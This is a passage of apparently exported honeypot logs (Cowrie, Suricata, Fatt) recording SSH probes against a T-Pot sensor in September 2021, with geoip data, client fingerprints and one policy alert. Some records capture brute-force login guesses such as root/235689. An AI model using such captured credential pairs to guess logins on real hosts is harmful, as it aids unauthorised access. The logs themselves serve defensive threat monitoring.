"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54868, "timestamp": "2021-09-20T11:21:30.770585", "@timestamp": "2021-09-20T11:21:30.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28890	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:21:32.865762+03	2021-09-20 14:30:03.421524+03	{"_id": "-AbwAnwBvYTbRNuEkjG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:51564 (192.168.176.2:22) [session: b9f96db481fb]", "session": "b9f96db481fb", "@version": "1", "protocol": "ssh", "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:21:32.865762Z", "@timestamp": "2021-09-20T11:21:32.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28891	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:32.71693+03	2021-09-20 14:30:03.422523+03	{"_id": "-gbwAnwBvYTbRNuEkjG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/235689] failed", "session": "92e88d15184c", "@version": "1", "password": "235689", "username": "root", "timestamp": "2021-09-20T11:21:32.716930Z", "@timestamp": "2021-09-20T11:21:32.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28892	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:21:32.868599+03	2021-09-20 14:30:03.423524+03	{"_id": "-wbwAnwBvYTbRNuEkjG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b9f96db481fb", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:21:32.868599Z", "@timestamp": "2021-09-20T11:21:32.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28893	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:21:33.125035+03	2021-09-20 14:30:03.425523+03	{"_id": "_AbwAnwBvYTbRNuElDFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1792772746793703, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:21:33.125035Z", "@timestamp": "2021-09-20T11:21:33.125Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28894	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:32.871212+03	2021-09-20 14:30:03.426524+03	{"_id": "_QbwAnwBvYTbRNuElTGr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51564, "timestamp": "2021-09-20T11:21:32.871212", "@timestamp": "2021-09-20T11:21:32.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29287	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.347798+03	2021-09-20 14:30:03.935524+03	{"_id": "UQbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "c6df46b733a0", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:24:27.347798Z", "@timestamp": "2021-09-20T11:24:27.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28895	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:21:33.020835+03	2021-09-20 14:30:03.426524+03	{"_id": "_wbwAnwBvYTbRNuEljGl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin2002] failed", "session": "ced9ca560260", "@version": "1", "password": "admin2002", "username": "admin", "timestamp": "2021-09-20T11:21:33.020835Z", "@timestamp": "2021-09-20T11:21:33.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28896	8.23.139.118	109.199.241.180	Suricata	2021-09-20 14:21:24.651332+03	2021-09-20 14:30:03.427523+03	{"_id": "xwbwAnwBvYTbRNuEdTEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.13.86.3731231109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "flow_id": 814469390534828, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63590, "dest_port": 22, "timestamp": "2021-09-20T11:21:24.651332Z", "@timestamp": "2021-09-20T11:21:24.651Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28897	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:21:27.848925+03	2021-09-20 14:30:03.428523+03	{"_id": "zQbwAnwBvYTbRNuEfzEu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:43364 (192.168.176.2:22) [session: 140a24e93792]", "session": "140a24e93792", "@version": "1", "protocol": "ssh", "src_port": 43364, "dest_port": 22, "timestamp": "2021-09-20T11:21:27.848925Z", "@timestamp": "2021-09-20T11:21:27.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28898	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:27.341716+03	2021-09-20 14:30:03.429524+03	{"_id": "0QbwAnwBvYTbRNuEfzEu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ceaab9f5b552", "@version": "1", "duration": 2.8164517879486084, "timestamp": "2021-09-20T11:21:27.341716Z", "@timestamp": "2021-09-20T11:21:27.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28899	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:21:27.888226+03	2021-09-20 14:30:03.430523+03	{"_id": "1gbwAnwBvYTbRNuEgDHl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 999356995428130, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43364, "dest_port": 22, "timestamp": "2021-09-20T11:21:27.888226Z", "@timestamp": "2021-09-20T11:21:27.888Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28905	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:24.525574+03	2021-09-20 14:30:03.436523+03	{"_id": "xgbwAnwBvYTbRNuEczF2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.13.86.3731231109.199.241.180'", "session": "ceaab9f5b552", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.13.86.3731231109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:21:24.525574Z", "@timestamp": "2021-09-20T11:21:24.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28900	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:27.852643+03	2021-09-20 14:30:03.431523+03	{"_id": "2AbwAnwBvYTbRNuEgjEg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43364, "timestamp": "2021-09-20T11:21:27.852643", "@timestamp": "2021-09-20T11:21:27.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28901	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:21:29.193888+03	2021-09-20 14:30:03.432524+03	{"_id": "3gbwAnwBvYTbRNuEhzEA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "140a24e93792", "@version": "1", "duration": 1.3422672748565674, "timestamp": "2021-09-20T11:21:29.193888Z", "@timestamp": "2021-09-20T11:21:29.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28902	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:29.755429+03	2021-09-20 14:30:03.433524+03	{"_id": "4gbwAnwBvYTbRNuEhzEA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "92e88d15184c", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:21:29.755429Z", "@timestamp": "2021-09-20T11:21:29.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28903	8.23.139.118	109.199.241.180	Fatt	2021-09-20 14:21:24.651332+03	2021-09-20 14:30:03.434524+03	{"_id": "uQbwAnwBvYTbRNuEcjF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.13.86.3731231109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 63590, "dest_port": 22, "timestamp": "2021-09-20T11:21:24.651332", "@timestamp": "2021-09-20T11:21:24.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28904	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:24.652203+03	2021-09-20 14:30:03.435525+03	{"_id": "ugbwAnwBvYTbRNuEczF1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "ceaab9f5b552", "@version": "1", "timestamp": "2021-09-20T11:21:24.652203Z", "@timestamp": "2021-09-20T11:21:24.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
28957	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:22:26.208213+03	2021-09-20 14:30:03.504525+03	{"_id": "oQbxAnwBvYTbRNuEYzKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:25.874528+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 298482761029664, "payload": 